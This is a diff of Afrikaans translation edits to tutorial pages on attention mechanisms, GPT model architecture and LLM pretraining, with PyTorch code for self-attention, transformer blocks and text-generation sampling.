Aandag meganismes laat neurale netwerke toe om f**okus te plaas op spesifieke dele van die invoer wanneer hulle elke deel van die uitvoer genereer**. Hulle ken verskillende gewigte aan verskillende invoere toe, wat die model help om te besluit watter invoere die relevantste is vir die taak wat voorlê. Dit is van kardinale belang in take soos masjienvertaling, waar begrip van die konteks van die hele sin noodsaaklik is vir akkurate vertaling.
|
||||
|
||||
> [!TIP]
|
||||
> Die doel van hierdie vierde fase is baie eenvoudig: **Pas 'n paar aandag meganismes toe**. Hierdie gaan baie **herhaalde lae** wees wat die **verhouding van 'n woord in die woordeskat met sy bure in die huidige sin wat gebruik word om die LLM te train, gaan vasvang**.\
|
||||
@ -10,7 +12,7 @@ Aandag meganismes laat neurale netwerke toe om **op spesifieke dele van die invo
|
||||
|
||||
### Verstaan Aandag Meganismes
|
||||
|
||||
In tradisionele volgorde-tot-volgorde modelle wat vir taalvertaling gebruik word, kodeer die model 'n invoer volgorde in 'n vaste-grootte konteksvektor. Hierdie benadering sukkel egter met lang sinne omdat die vaste-grootte konteksvektor dalk nie al die nodige inligting vasvang nie. Aandag meganismes spreek hierdie beperking aan deur die model toe te laat om al die invoer tokens te oorweeg wanneer dit elke uitvoer token genereer.
|
||||
In tradisionele volgorde-tot-volgorde modelle wat vir taalvertaling gebruik word, kodeer die model 'n invoer volgorde in 'n vaste-grootte konteksvektor. Hierdie benadering sukkel egter met lang sinne omdat die vaste-grootte konteksvektor dalk nie al die nodige inligting vasvang nie. Aandag meganismes spreek hierdie beperking aan deur die model toe te laat om al die invoer tokens in ag te neem wanneer dit elke uitvoer token genereer.
|
||||
|
||||
#### Voorbeeld: Masjienvertaling
|
||||
|
||||
@ -18,7 +20,7 @@ Oorweeg om die Duitse sin "Kannst du mir helfen diesen Satz zu übersetzen" in E
|
||||
|
||||
### Inleiding tot Self-Aandag
|
||||
|
||||
Self-aandag, of intra-aandag, is 'n meganisme waar aandag binne 'n enkele volgorde toegepas word om 'n voorstelling van daardie volgorde te bereken. Dit laat elke token in die volgorde toe om op al die ander tokens te let, wat die model help om afhanklikhede tussen tokens vas te vang ongeag hul afstand in die volgorde.
|
||||
Self-aandag, of intra-aandag, is 'n meganisme waar aandag binne 'n enkele volgorde toegepas word om 'n voorstelling van daardie volgorde te bereken. Dit laat elke token in die volgorde toe om op al die ander tokens te fokus, wat die model help om afhanklikhede tussen tokens vas te vang ongeag hul afstand in die volgorde.
|
||||
|
||||
#### Sleutelkonsepte
|
||||
|
||||
@ -39,7 +41,7 @@ Ons doel is om die **konteksvektor** vir die woord **"shiny"** te bereken met be
|
||||
#### Stap 1: Bereken Aandag Punte
|
||||
|
||||
> [!TIP]
|
||||
> Vermy om verlore te raak in die wiskundige terme, die doel van hierdie funksie is eenvoudig, normaliseer al die gewigte sodat **hulle in totaal 1 optel**.
|
||||
> Vermy om in die wiskundige terme verlore te raak, die doel van hierdie funksie is eenvoudig, normaliseer al die gewigte sodat **hulle in totaal 1 optel**.
|
||||
>
|
||||
> Boonop, **softmax** funksie word gebruik omdat dit verskille beklemtoon weens die eksponensiële deel, wat dit makliker maak om nuttige waardes te identifiseer.
|
||||
|
||||
@ -62,7 +64,7 @@ Vir elke woord in die sin, bereken die **aandag punt** ten opsigte van "shiny" d
|
||||
> [!TIP]
|
||||
> Pas die **softmax funksie** toe op die aandag punte om hulle in aandag gewigte te omskep wat tot 1 optel.
|
||||
|
||||
Pas die **softmax funksie** toe op die aandag punte om hulle in aandag gewigte te omskep wat tot 1 optel.
|
||||
Pas die **softmax funksie** toe op die aandag punte om hulle in aandag gewigte om te skakel wat tot 1 optel.
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
@ -115,7 +117,7 @@ Som die gewogen embeddings:
|
||||
|
||||
## Self-Aandag met Leerbare Gewigte
|
||||
|
||||
In praktyk gebruik self-aandag meganismes **leerbare gewigte** om die beste voorstellings vir vrae, sleutels en waardes te leer. Dit behels die bekendstelling van drie gewig matrikse:
|
||||
In praktyk gebruik self-aandag meganismes **leerbare gewigte** om die beste voorstellings vir vrae, sleutels, en waardes te leer. Dit behels die bekendstelling van drie gewig matrikse:
|
||||
|
||||
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
@ -123,7 +125,7 @@ Die vraag is die data om soos voorheen te gebruik, terwyl die sleutels en waarde
|
||||
|
||||
#### Stap 1: Bereken Vrae, Sleutels, en Waardes
|
||||
|
||||
Elke token sal sy eie vrae, sleutel en waarde matriks hê deur sy dimensiewaarde met die gedefinieerde matrikse te vermenigvuldig:
|
||||
Elke token sal sy eie vraag, sleutel en waarde matriks hê deur sy dimensiewaarde met die gedefinieerde matrikse te vermenigvuldig:
|
||||
|
||||
<figure><img src="../../images/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
@ -131,7 +133,7 @@ Hierdie matrikse transformeer die oorspronklike embeddings in 'n nuwe ruimte wat
|
||||
|
||||
**Voorbeeld**
|
||||
|
||||
Aannemend:
|
||||
Aanvaar:
|
||||
|
||||
- Invoer dimensie `din=3` (embedding grootte)
|
||||
- Uitvoer dimensie `dout=2` (gewens dimensie vir vrae, sleutels, en waardes)
|
||||
@ -157,7 +159,7 @@ values = torch.matmul(inputs, W_value)
|
||||
|
||||
**Bereken Aandag Punte**
|
||||
|
||||
Soos in die voorbeeld van tevore, maar hierdie keer, in plaas daarvan om die waardes van die dimensies van die tokens te gebruik, gebruik ons die sleutel matriks van die token (wat reeds bereken is met behulp van die dimensies):. So, vir elke navraag `qi` en sleutel `kj`:
|
||||
Soos in die vorige voorbeeld, maar hierdie keer, in plaas daarvan om die waardes van die dimensies van die tokens te gebruik, gebruik ons die sleutel matriks van die token (wat reeds bereken is met behulp van die dimensies):. So, vir elke navraag `qi` en sleutel `kj`:
|
||||
|
||||
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -182,7 +184,7 @@ Soos in die aanvanklike voorbeeld, som net al die waardes matriks op deur elkeen
|
||||
|
||||
### Kode Voorbeeld
|
||||
|
||||
Grijp 'n voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) jy kan hierdie klas kyk wat die self-aandag funksionaliteit implementeer waaroor ons gepraat het:
|
||||
Gryp 'n voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) jy kan hierdie klas kyk wat die self-aandag funksionaliteit implementeer waaroor ons gepraat het:
|
||||
```python
|
||||
import torch
|
||||
|
||||
@ -226,7 +228,7 @@ print(sa_v2(inputs))
|
||||
|
||||
## Oorsaaklike Aandag: Toekomstige Woorde Versteek
|
||||
|
||||
Vir LLM's wil ons hê dat die model slegs die tokens wat voor die huidige posisie verskyn, moet oorweeg om die **volgende token** te voorspel. **Oorsaaklike aandag**, ook bekend as **gemaskerde aandag**, bereik dit deur die aandagmeganisme te wysig om toegang tot toekomstige tokens te verhoed.
|
||||
Vir LLMs wil ons hê dat die model slegs die tokens wat voor die huidige posisie verskyn, moet oorweeg om die **volgende token** te voorspel. **Oorsaaklike aandag**, ook bekend as **gemaskerde aandag**, bereik dit deur die aandagmeganisme te wysig om toegang tot toekomstige tokens te verhoed.
|
||||
|
||||
### Toepassing van 'n Oorsaaklike Aandagmasker
|
||||
|
||||
@ -248,9 +250,9 @@ masked_scores = attention_scores + mask
|
||||
attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
```
|
||||
|
||||
### Maskering van Bykomende Aandag Gewigte met Dropout
|
||||
### Maskering van Addisionele Aandag Gewigte met Dropout
|
||||
|
||||
Om **oorpassing te voorkom**, kan ons **dropout** toepas op die aandag gewigte na die softmax-operasie. Dropout **maak sommige van die aandag gewigte ewekansig nul** tydens opleiding.
|
||||
Om **oorpassing** te voorkom, kan ons **dropout** toepas op die aandag gewigte na die softmax-operasie. Dropout **maak sommige van die aandag gewigte ewekansig nul** tydens opleiding.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
@ -323,11 +325,11 @@ print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## Om Enkelkop Aandag uit te brei na Meerkop Aandag
|
||||
|
||||
**Meerkop aandag** bestaan in praktiese terme uit die uitvoering van **meerdere instansies** van die self-aandag funksie, elk met **hul eie gewigte**, sodat verskillende finale vektore bereken kan word.
|
||||
**Meerkop aandag** bestaan in praktiese terme uit die uitvoering van **meerdere instansies** van die self-aandag funksie, elk met **hulle eie gewigte**, sodat verskillende finale vektore bereken kan word.
|
||||
|
||||
### Kode Voorbeeld
|
||||
|
||||
Dit kan moontlik wees om die vorige kode te hergebruik en net 'n omhulsel toe te voeg wat dit verskeie kere begin, maar dit is 'n meer geoptimaliseerde weergawe van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) wat al die koppe terselfdertyd verwerk (wat die aantal duur vir-lusse verminder). Soos jy in die kode kan sien, word die dimensies van elke token in verskillende dimensies verdeel volgens die aantal koppe. Op hierdie manier, as 'n token 8 dimensies het en ons 3 koppe wil gebruik, sal die dimensies in 2 arrays van 4 dimensies verdeel word en elke kop sal een daarvan gebruik:
|
||||
Dit kan moontlik wees om die vorige kode te hergebruik en net 'n omhulsel toe te voeg wat dit verskeie kere lanseer, maar dit is 'n meer geoptimaliseerde weergawe van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) wat al die koppe terselfdertyd verwerk (wat die aantal duur vir-lusse verminder). Soos jy in die kode kan sien, word die dimensies van elke token in verskillende dimensies verdeel volgens die aantal koppe. Op hierdie manier, as 'n token 8 dimensies het en ons 3 koppe wil gebruik, sal die dimensies in 2 arrays van 4 dimensies verdeel word en elke kop sal een daarvan gebruik:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
@ -409,8 +411,11 @@ Vir 'n ander kompakte en doeltreffende implementering kan jy die [`torch.nn.Mult
|
||||
> [!TIP]
|
||||
> Kort antwoord van ChatGPT oor hoekom dit beter is om dimensies van tokens onder die koppe te verdeel in plaas daarvan om elke kop al die dimensies van al die tokens te laat nagaan:
|
||||
>
|
||||
> Terwyl dit mag lyk asof dit voordelig is om elke kop al die inbed dimensies te laat verwerk omdat elke kop toegang tot die volle inligting sou hê, is die standaard praktyk om die **inbed dimensies onder die koppe te verdeel**. Hierdie benadering balanseer rekenaardoeltreffendheid met modelprestasie en moedig elke kop aan om diverse verteenwoordigings te leer. Daarom is dit oor die algemeen verkieslik om die inbed dimensies te verdeel eerder as om elke kop al die dimensies te laat nagaan.
|
||||
> Terwyl dit mag lyk asof dit voordelig is om elke kop al die inbedingsdimensies te laat verwerk omdat elke kop toegang tot die volle inligting sou hê, is die standaardpraktyk om die **inbedingsdimensies onder die koppe te verdeel**. Hierdie benadering balanseer rekenaardoeltreffendheid met modelprestasie en moedig elke kop aan om diverse voorstellings te leer. Daarom is dit oor die algemeen verkieslik om die inbedingsdimensies te verdeel eerder as om elke kop al die dimensies te laat nagaan.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,13 @@
|
||||
# 5. LLM Argitektuur
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## LLM Argitektuur
|
||||
|
||||
> [!TIP]
|
||||
> Die doel van hierdie vyfde fase is baie eenvoudig: **Ontwikkel die argitektuur van die volle LLM**. Sit alles saam, pas al die lae toe en skep al die funksies om teks te genereer of teks na ID's en terug te transformeer.
|
||||
>
|
||||
> Hierdie argitektuur sal gebruik word vir beide, opleiding en voorspellings van teks nadat dit opgelei is.
|
||||
> Hierdie argitektuur sal gebruik word vir beide, opleiding en voorspelling van teks nadat dit opgelei is.
|
||||
|
||||
LLM argitektuur voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
|
||||
@ -21,7 +23,7 @@ LLM argitektuur voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/m
|
||||
- **Voed Voor Laag**: Verantwoordelik vir die verwerking van die inligting van die aandag laag en om voorspellings oor die volgende token te maak.
|
||||
- **Dropout Lae**: Hierdie lae voorkom oorpassing deur eenhede tydens opleiding lukraak te laat val.
|
||||
4. **Finale Uitvoer Laag**: Die model gee 'n **4x50,257-dimensionele tensor** uit, waar **50,257** die grootte van die woordeskat verteenwoordig. Elke ry in hierdie tensor kom ooreen met 'n vektor wat die model gebruik om die volgende woord in die volgorde te voorspel.
|
||||
5. **Doel**: Die doel is om hierdie inbedings te neem en dit terug in teks om te skakel. Spesifiek, die laaste ry van die uitvoer word gebruik om die volgende woord te genereer, verteenwoordig as "vorentoe" in hierdie diagram.
|
||||
5. **Doel**: Die doel is om hierdie inbedings te neem en dit terug in teks om te skakel. Spesifiek, die laaste ry van die uitvoer word gebruik om die volgende woord te genereer, wat as "vorentoe" in hierdie diagram verteenwoordig word.
|
||||
|
||||
### Kode voorstelling
|
||||
```python
|
||||
@ -243,9 +245,9 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
```
|
||||
#### **Doel en Funksionaliteit**
|
||||
|
||||
- **Posisiegewys FeedForward Netwerk:** Pas 'n twee-laag ten volle verbind netwerk op elke posisie apart en identies toe.
|
||||
- **Posisie-gewys FeedForward Netwerk:** Pas 'n twee-laag ten volle verbind netwerk op elke posisie apart en identies toe.
|
||||
- **Laag Besonderhede:**
|
||||
- **Eerste Lineêre Laag:** Brei die dimensie uit van `emb_dim` na `4 * emb_dim`.
|
||||
- **Eerste Lineêre Laag:** Verhoog die dimensie van `emb_dim` na `4 * emb_dim`.
|
||||
- **GELU Aktivering:** Pas nie-lineariteit toe.
|
||||
- **Tweede Lineêre Laag:** Verminder die dimensie terug na `emb_dim`.
|
||||
|
||||
@ -294,7 +296,7 @@ return self.scale * norm_x + self.shift
|
||||
- **Laag Normalisering:** 'n Tegniek wat gebruik word om die insette oor die kenmerke (embedding dimensies) vir elke individuele voorbeeld in 'n bondel te normaliseer.
|
||||
- **Komponente:**
|
||||
- **`eps`:** 'n Klein konstante (`1e-5`) wat by die variansie gevoeg word om deling deur nul tydens normalisering te voorkom.
|
||||
- **`scale` en `shift`:** Leerbare parameters (`nn.Parameter`) wat die model toelaat om die genormaliseerde uitset te skaal en te verskuif. Hulle word onderskeidelik geinitialiseer na eenhede en nul.
|
||||
- **`scale` en `shift`:** Leerbare parameters (`nn.Parameter`) wat die model toelaat om die genormaliseerde uitset te skaal en te verskuif. Hulle word onderskeidelik geinitialiseer na eenhede en nulles.
|
||||
- **Normalisering Proses:**
|
||||
- **Bereken Gemiddelde (`mean`):** Bereken die gemiddelde van die inset `x` oor die embedding dimensie (`dim=-1`), terwyl die dimensie vir broadcasting behou word (`keepdim=True`).
|
||||
- **Bereken Variansie (`var`):** Bereken die variansie van `x` oor die embedding dimensie, terwyl die dimensie ook behou word. Die `unbiased=False` parameter verseker dat die variansie bereken word met die bevooroordeelde skatter (deling deur `N` in plaas van `N-1`), wat toepaslik is wanneer daar oor kenmerke eerder as monsters genormaliseer word.
|
||||
@ -348,35 +350,35 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
```
|
||||
#### **Doel en Funksionaliteit**
|
||||
|
||||
- **Samestelling van Lae:** Kombineer multi-head attention, feedforward netwerk, laanormalisering, en residuele verbindings.
|
||||
- **Laanormalisering:** Toegepas voor die aandag en feedforward lae vir stabiele opleiding.
|
||||
- **Residuele Verbindings (Kortpaaie):** Voeg die invoer van 'n laag by sy uitvoer om die gradiëntvloei te verbeter en die opleiding van diep netwerke moontlik te maak.
|
||||
- **Samestelling van Lae:** Kombineer multi-head aandag, feedforward netwerk, laag normalisering, en residuele verbindings.
|
||||
- **Laag Normalisering:** Toegepas voor die aandag en feedforward lae vir stabiele opleiding.
|
||||
- **Residuele Verbindinge (Kortpaaie):** Voeg die inset van 'n laag by sy uitvoer om die gradiëntvloei te verbeter en die opleiding van diep netwerke moontlik te maak.
|
||||
- **Dropout:** Toegepas na aandag en feedforward lae vir regulering.
|
||||
|
||||
#### **Stap-vir-Stap Funksionaliteit**
|
||||
|
||||
1. **Eerste Residuele Pad (Self-Aandag):**
|
||||
- **Invoer (`shortcut`):** Stoor die oorspronklike invoer vir die residuele verbinding.
|
||||
- **Laag Norm (`norm1`):** Normaliseer die invoer.
|
||||
- **Inset (`shortcut`):** Stoor die oorspronklike inset vir die residuele verbinding.
|
||||
- **Laag Norm (`norm1`):** Normaliseer die inset.
|
||||
- **Multi-Head Aandag (`att`):** Pas self-aandag toe.
|
||||
- **Dropout (`drop_shortcut`):** Pas dropout toe vir regulering.
|
||||
- **Voeg Residueel By (`x + shortcut`):** Kombineer met die oorspronklike invoer.
|
||||
- **Voeg Residueel By (`x + shortcut`):** Kombineer met die oorspronklike inset.
|
||||
2. **Tweedee Residuele Pad (FeedForward):**
|
||||
- **Invoer (`shortcut`):** Stoor die opgedateerde invoer vir die volgende residuele verbinding.
|
||||
- **Laag Norm (`norm2`):** Normaliseer die invoer.
|
||||
- **Inset (`shortcut`):** Stoor die opgedateerde inset vir die volgende residuele verbinding.
|
||||
- **Laag Norm (`norm2`):** Normaliseer die inset.
|
||||
- **FeedForward Netwerk (`ff`):** Pas die feedforward transformasie toe.
|
||||
- **Dropout (`drop_shortcut`):** Pas dropout toe.
|
||||
- **Voeg Residueel By (`x + shortcut`):** Kombineer met die invoer van die eerste residuele pad.
|
||||
- **Voeg Residueel By (`x + shortcut`):** Kombineer met die inset van die eerste residuele pad.
|
||||
|
||||
> [!TIP]
|
||||
> Die transformer blok groepeer al die netwerke saam en pas 'n paar **normalisering** en **dropouts** toe om die opleidingsstabiliteit en resultate te verbeter.\
|
||||
> Let op hoe dropouts gedoen word na die gebruik van elke netwerk terwyl normalisering voor toegepas word.
|
||||
>
|
||||
> Boonop gebruik dit ook kortpaaie wat bestaan uit **die uitvoer van 'n netwerk by sy invoer te voeg**. Dit help om die verdwynende gradiënt probleem te voorkom deur te verseker dat aanvanklike lae "net soveel" bydra as die laaste.
|
||||
> Boonop gebruik dit ook kortpaaie wat bestaan uit **die uitvoer van 'n netwerk by sy inset te voeg**. Dit help om die verdwynende gradiënt probleem te voorkom deur te verseker dat aanvanklike lae "net soveel" bydra as die laaste.
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
_Skake is as kommentaar bygevoeg om die vorms van matrikse beter te verstaan:_
|
||||
_Skappe is as kommentaar bygevoeg om die skappe van matrikse beter te verstaan:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GPTModel(nn.Module):
|
||||
@ -439,7 +441,7 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
- **Dropout (`drop_emb`):** Toegepas op inbedings vir regularisering.
|
||||
- **Transformer Blokke (`trf_blocks`):** Stapel van `n_layers` transformer blokke om inbedings te verwerk.
|
||||
- **Finale Normalisering (`final_norm`):** Laag normalisering voor die uitvoerlaag.
|
||||
- **Uitvoerlaag (`out_head`):** Projek die finale verborge toestande na die woordeskatgrootte om logits vir voorspelling te produseer.
|
||||
- **Uitvoer Laag (`out_head`):** Projek die finale verborge toestande na die woordeskatgrootte om logits vir voorspelling te produseer.
|
||||
|
||||
> [!TIP]
|
||||
> Die doel van hierdie klas is om al die ander genoemde netwerke te gebruik om **die volgende token in 'n volgorde te voorspel**, wat fundamenteel is vir take soos teksgenerasie.
|
||||
@ -501,7 +503,7 @@ Daar is 12 transformer blokke, so ons sal die parameters vir een blok bereken en
|
||||
- **Uitset Projektering (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
|
||||
- **Berekeninge:**
|
||||
|
||||
- **Elk van `W_query`, `W_key`, `W_value`:**
|
||||
- **Elkeen van `W_query`, `W_key`, `W_value`:**
|
||||
|
||||
```python
|
||||
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
|
||||
@ -562,7 +564,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
|
||||
- **Berekeninge:**
|
||||
|
||||
```python
|
||||
pythonCopy codelayer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
```
|
||||
|
||||
**d. Totale Parameters per Transformer Blok**
|
||||
@ -577,7 +579,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
```
|
||||
#### **3. Finale Lae**
|
||||
|
||||
**a. Finale Laag Normalisering**
|
||||
**a. Finale Lae Normalisering**
|
||||
|
||||
- **Parameters:** `2 * emb_dim` (skaal en skuif)
|
||||
```python
|
||||
@ -610,7 +612,7 @@ total_params = 163,009,536
|
||||
|
||||
Om 'n model te hê wat die volgende token voorspel soos die vorige, is dit net nodig om die laaste tokenwaardes van die uitvoer te neem (aangesien dit die waardes van die voorspelde token sal wees), wat 'n **waarde per inskrywing in die woordeskat** sal wees en dan die `softmax` funksie te gebruik om die dimensies in waarskynlikhede te normaliseer wat 1 optel en dan die indeks van die grootste inskrywing te kry, wat die indeks van die woord binne die woordeskat sal wees.
|
||||
|
||||
Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
Code van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
def generate_text_simple(model, idx, max_new_tokens, context_size):
|
||||
# idx is (batch, n_tokens) array of indices in the current context
|
||||
@ -664,3 +666,6 @@ print("Output length:", len(out[0]))
|
||||
## Verwysings
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,19 +1,21 @@
|
||||
# 6. Vooropleiding & Laai modelle
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Teksgenerasie
|
||||
|
||||
Om 'n model te kan oplei, moet ons hê dat die model nuwe tokens kan genereer. Dan sal ons die gegenereerde tokens vergelyk met die verwagte om die model te leer om **die tokens wat dit moet genereer** te leer.
|
||||
Om 'n model op te lei, moet ons hê dat daardie model nuwe tokens kan genereer. Dan sal ons die gegenereerde tokens vergelyk met die verwagte om die model te leer om **die tokens wat dit moet genereer** te leer.
|
||||
|
||||
Soos in die vorige voorbeelde het ons reeds 'n paar tokens voorspel, dit is moontlik om daardie funksie vir hierdie doel te hergebruik.
|
||||
|
||||
> [!TIP]
|
||||
> Die doel van hierdie sesde fase is baie eenvoudig: **Oplei die model van nuuts af**. Hiervoor sal die vorige LLM-argitektuur gebruik word met 'n paar lusse wat oor die datastelle gaan met behulp van die gedefinieerde verliesfunksies en optimizer om al die parameters van die model op te lei.
|
||||
|
||||
## Teks Evaluasie
|
||||
## Teksevaluasie
|
||||
|
||||
Om 'n korrekte opleiding uit te voer, is dit nodig om die voorspellings wat vir die verwagte token verkry is, te meet. Die doel van die opleiding is om die waarskynlikheid van die korrekte token te maksimeer, wat behels dat sy waarskynlikheid relatief tot ander tokens verhoog word.
|
||||
|
||||
Om die waarskynlikheid van die korrekte token te maksimeer, moet die gewigte van die model aangepas word sodat die waarskynlikheid gemaksimeer word. Die opdaterings van die gewigte word gedoen deur middel van **terugpropagasie**. Dit vereis 'n **verliesfunksie om te maksimeer**. In hierdie geval sal die funksie die **verskil tussen die uitgevoerde voorspelling en die gewenste een** wees.
|
||||
Om die waarskynlikheid van die korrekte token te maksimeer, moet die gewigte van die model aangepas word sodat daardie waarskynlikheid gemaksimeer word. Die opdaterings van die gewigte word gedoen deur middel van **terugpropagasie**. Dit vereis 'n **verliesfunksie om te maksimeer**. In hierdie geval sal die funksie die **verskil tussen die uitgevoerde voorspelling en die gewenste een** wees.
|
||||
|
||||
Echter, in plaas daarvan om met die rou voorspellings te werk, sal dit met 'n logaritme met basis n werk. So as die huidige voorspelling van die verwagte token 7.4541e-05 was, is die natuurlike logaritme (basis *e*) van **7.4541e-05** ongeveer **-9.5042**.\
|
||||
Dan, vir elke invoer met 'n kontekslengte van 5 tokens, sal die model 5 tokens moet voorspel, met die eerste 4 tokens die laaste een van die invoer en die vyfde die voorspelde een. Daarom sal ons vir elke invoer 5 voorspellings hê in daardie geval (selfs al was die eerste 4 in die invoer, weet die model nie hiervan nie) met 5 verwagte tokens en dus 5 waarskynlikhede om te maksimeer.
|
||||
@ -27,7 +29,7 @@ Byvoorbeeld, 'n perplexity waarde van 48725 beteken dat wanneer dit nodig is om
|
||||
|
||||
## Voorbeeld van Vooropleiding
|
||||
|
||||
Dit is die aanvanklike kode wat voorgestel is in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) soms effens gewysig
|
||||
Dit is die aanvanklike kode wat voorgestel word in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) soms effens gewysig
|
||||
|
||||
<details>
|
||||
|
||||
@ -527,7 +529,7 @@ torch.save({
|
||||
```
|
||||
### Funksies om teks <--> ids te transformeer
|
||||
|
||||
Dit is 'n paar eenvoudige funksies wat gebruik kan word om van teks uit die woordeskat na ids en omgekeerd te transformeer. Dit is nodig aan die begin van die hantering van die teks en aan die einde van die voorspellings:
|
||||
Hierdie is 'n paar eenvoudige funksies wat gebruik kan word om van teks uit die woordeskat na ids en omgekeerd te transformeer. Dit is nodig aan die begin van die hantering van die teks en aan die einde van die voorspellings:
|
||||
```python
|
||||
# Functions to transform from tokens to ids and from to ids to tokens
|
||||
def text_to_token_ids(text, tokenizer):
|
||||
@ -545,9 +547,9 @@ In 'n vorige afdeling is 'n funksie wat net die **meest waarskynlike token** gek
|
||||
|
||||
Die volgende `generate_text` funksie sal die `top-k`, `temperature` en `multinomial` konsepte toepas.
|
||||
|
||||
- Die **`top-k`** beteken dat ons sal begin om alle waarskynlikhede van al die tokens, behalwe die top k tokens, na `-inf` te verminder. So, as k=3, sal slegs die 3 meest waarskynlike tokens 'n waarskynlikheid anders as `-inf` hê voordat 'n besluit geneem word.
|
||||
- Die **`top-k`** beteken dat ons sal begin om alle waarskynlikhede van al die tokens na `-inf` te verminder, behalwe vir die top k tokens. So, as k=3, voordat 'n besluit geneem word, sal slegs die 3 meest waarskynlike tokens 'n waarskynlikheid hê wat verskil van `-inf`.
|
||||
- Die **`temperature`** beteken dat elke waarskynlikheid deur die temperatuurwaarde gedeel sal word. 'n Waarde van `0.1` sal die hoogste waarskynlikheid verbeter in vergelyking met die laagste, terwyl 'n temperatuur van `5` byvoorbeeld dit meer plat sal maak. Dit help om die variasie in antwoorde te verbeter wat ons wil hê die LLM moet hê.
|
||||
- Na die temperatuur toegepas is, word 'n **`softmax`** funksie weer toegepas om al die oorblywende tokens 'n totale waarskynlikheid van 1 te gee.
|
||||
- Na die temperatuur toegepas is, word 'n **`softmax`** funksie weer toegepas om te maak dat al die oorblywende tokens 'n totale waarskynlikheid van 1 het.
|
||||
- Laastens, in plaas daarvan om die token met die grootste waarskynlikheid te kies, word die funksie **`multinomial`** toegepas om **die volgende token te voorspel volgens die finale waarskynlikhede**. So as token 1 'n 70% waarskynlikheid gehad het, token 2 'n 20% en token 3 'n 10%, sal token 1 70% van die tyd gekies word, token 2 20% van die tyd en token 3 10% van die tyd.
|
||||
```python
|
||||
# Generate text function
|
||||
@ -590,7 +592,7 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
|
||||
return idx
|
||||
```
|
||||
> [!TIP]
|
||||
> Daar is 'n algemene alternatief vir `top-k` genoem [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), ook bekend as nucleus sampling, wat in plaas daarvan om k monsters met die meeste waarskynlikheid te verkry, **organiseer** dit al die resulterende **vokabulaire** volgens waarskynlikhede en **som** hulle op van die hoogste waarskynlikheid na die laagste totdat 'n **drempel bereik word**.
|
||||
> Daar is 'n algemene alternatief vir `top-k` genoem [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), ook bekend as nucleus sampling, wat in plaas daarvan om k monsters met die meeste waarskynlikheid te verkry, **organiseer** dit al die resulterende **vokabulaire** volgens waarskynlikhede en **som** dit op van die hoogste waarskynlikheid tot die laagste totdat 'n **drempel bereik word**.
|
||||
>
|
||||
